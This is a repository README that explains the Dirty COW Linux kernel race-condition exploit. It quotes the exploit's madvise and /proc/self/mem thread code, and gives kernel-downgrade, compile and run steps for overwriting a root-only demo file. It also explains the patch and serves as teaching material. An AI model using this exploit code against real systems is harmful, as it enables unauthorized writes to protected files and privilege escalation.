Switch branches/tags
Nothing to show
Find file History
Fetching latest commit…
Cannot retrieve the latest commit at this time.
Permalink
..
Failed to load latest commit information.
.gitignore
README.md
dirty_cow.c
run.sh
setup.sh

README.md

Dirty Cow exploit

Exploit Overview

"A race condition was found in the way Linux kernel's memory subsystem handled breakage of the read only private mappings COW situation on write access.

An unprivileged local user could use this flaw to gain write access to otherwise read only memory mappings and thus increase their privileges on the system." - From Redhat CVE

The exploit leverages two functions madvise(MADV_DONTNEED) and open("/proc/self/mem",O_RDWR), to create a race condition between the two. Simply stated, we map the file to be changed to a copy that we can write to. We aren't able to write this copied file to the original file because we don't have the necessary permissions, however we are able to circumvent this via the race condition.

The first function, madvise, looks like this:

void *madviseThread(void *arg){
    char *str;
    str=(char*)arg;
    int i,c=0;
    for(i=0;i<100000000;i++)
    {
        c+=madvise(map,100,MADV_DONTNEED);
    }
    printf("madvise %d\n\n",c);
  }

The madvice call is used mainly for optimization by allowing the user to give advice/directions to the kernel about how the given address range will be used. In this case we tell it that we don't need the first 100 bytes by passing 100, MADV_DONTNEED. The man page specifies that this means "do not expect access in the near future" and that the memory access will differ now in that any "subsequent accesses of pages in the range will succeed, but will result in either repopulating the memory contents from the up-to-date contents of the underlying mapped file". This is very important to the exploit as it tells us that everytime we try to access this file we will repopulate the contents, which is part of the race condition.

The second function, proc/self/mem uses 'proc' which acts a pseudo-file system that helps runs most file operations in linux (everything is a file is very powerful here). /proc/self/mem is a "file" that contains the current process' memory, which we use to write to our file.

void *procselfmemThread(void *arg){
    char *str;
    str=(char*)arg;
    int f=open("/proc/self/mem",O_RDWR);
    int i,c=0;
    for(i=0;i<100000000;i++) {
        lseek(f,(uintptr_t) map,SEEK_SET);
        c+=write(f,str,strlen(str));
    }
    printf("procselfmem %d\n\n", c);
}

The above code attempts to write the passed argument string in the memory of the process in the location of the mapped file. This tries to write to the copy of the file, creating a copy-on-write event.

This should not work and the two methods working independent of each other would not cause such an exploit to occur, but when raced against each other, an edge case occurs in which the actual file is written to instead of the mapped file. Simply stated, the race condition occurs when the file map that has been dropped from memory using madvise has not been completely written to the mapped memory when the procselfmem thread attempts to write. This is because the page table entry that points to our mapped memory has not been written yet and when we write, the page table directs this write to the original file, rather than the mapped one. By doing this over and over again for a large amount of times we can reliably execute this exploit. This allows us, for this simple case, to write to a file with root only write permission.

Vulnerable Kernels

This is a relatively recent zero day and as such works on any of the kernels before the ones listed below, as they are the ones where the patch was added:

Patched Kernels

If your kernel is newer, use the following commands based on your operating system, where $image-number-here$ is a kernel number before the ones in the link above. We highly recomend you search for the complete image name in your prefered OS and replace it below, as only the image number will not be the entire name of the package.

Ubuntu

sudo apt-get install linux-image-$image-number-here$
sudo apt-get install linux-headers-$image-number-here$

Debian

aptitude install linux-image-$image-number-here$
aptitude install linux-headers-$image-number-here$

Arch

pacman -U linux-$image-number-here$.pkg.tar.xz linux-headers-$image-number-here$.pkg.tar.xz

Booting into downgraded kernel

After installing an old version of the kernel, you still need to boot into it. Usually, this means getting to the GRUB manager, selecting "Advanced options for..." and then selecting the old version of the kernel to boot into. For Ubuntu, this looks like:

  1. Install old kernel verion.
  2. Click "Restart".
  3. Immediately hold the "Shift" key until you reach the GRUB manager.
  4. Select "Advanced options for Ubuntu".
  5. Scroll all the way down and select your kernel version. (For me, I select "Ubuntu, with Linux 3.13.0-62-generic").

Compilation

After you downgrade your kernel, the compilation is as such

gcc -pthread dirtyc0w.c -o dirtyc0w

The -pthread option is included because of the multithread aspect of the exploit, the man page for gcc tells us that it "Adds support for multithreading with the pthreads library. This option sets flags for both the preprocessor and linker".

Running

Running the exploit is pretty simple. First, compile the dirtyc0w.c file as shown above. Second, run the setup.sh script as root.

sudo ./setup.sh

This creates a file called 'protected_file' that is writeable only by root but readable by all and contains the string 'protected contents'. Finally, run the run.sh script.

./run.sh

This will print out details about the file and its contents, then run the exploit and print the same details again. The run.sh script pushes 'Overwritten!' into the protected file and does not modify any of its details, including the modification time and the user privilages.

Fixes

The easiest way to fix this bug is to upgrade your kernel to one of the patched kernels linked in the compilation section. In essence, the patch adds a dirty bit to make sure that the file has been completely copied to the mapped memory before it allows for writing. For more information about the fix, check out the patch notes here.

Additional Resources

For other variations on the race condition described above, check out the dirty cow website and for a more detailed walkthrough of the code and the patch see this video.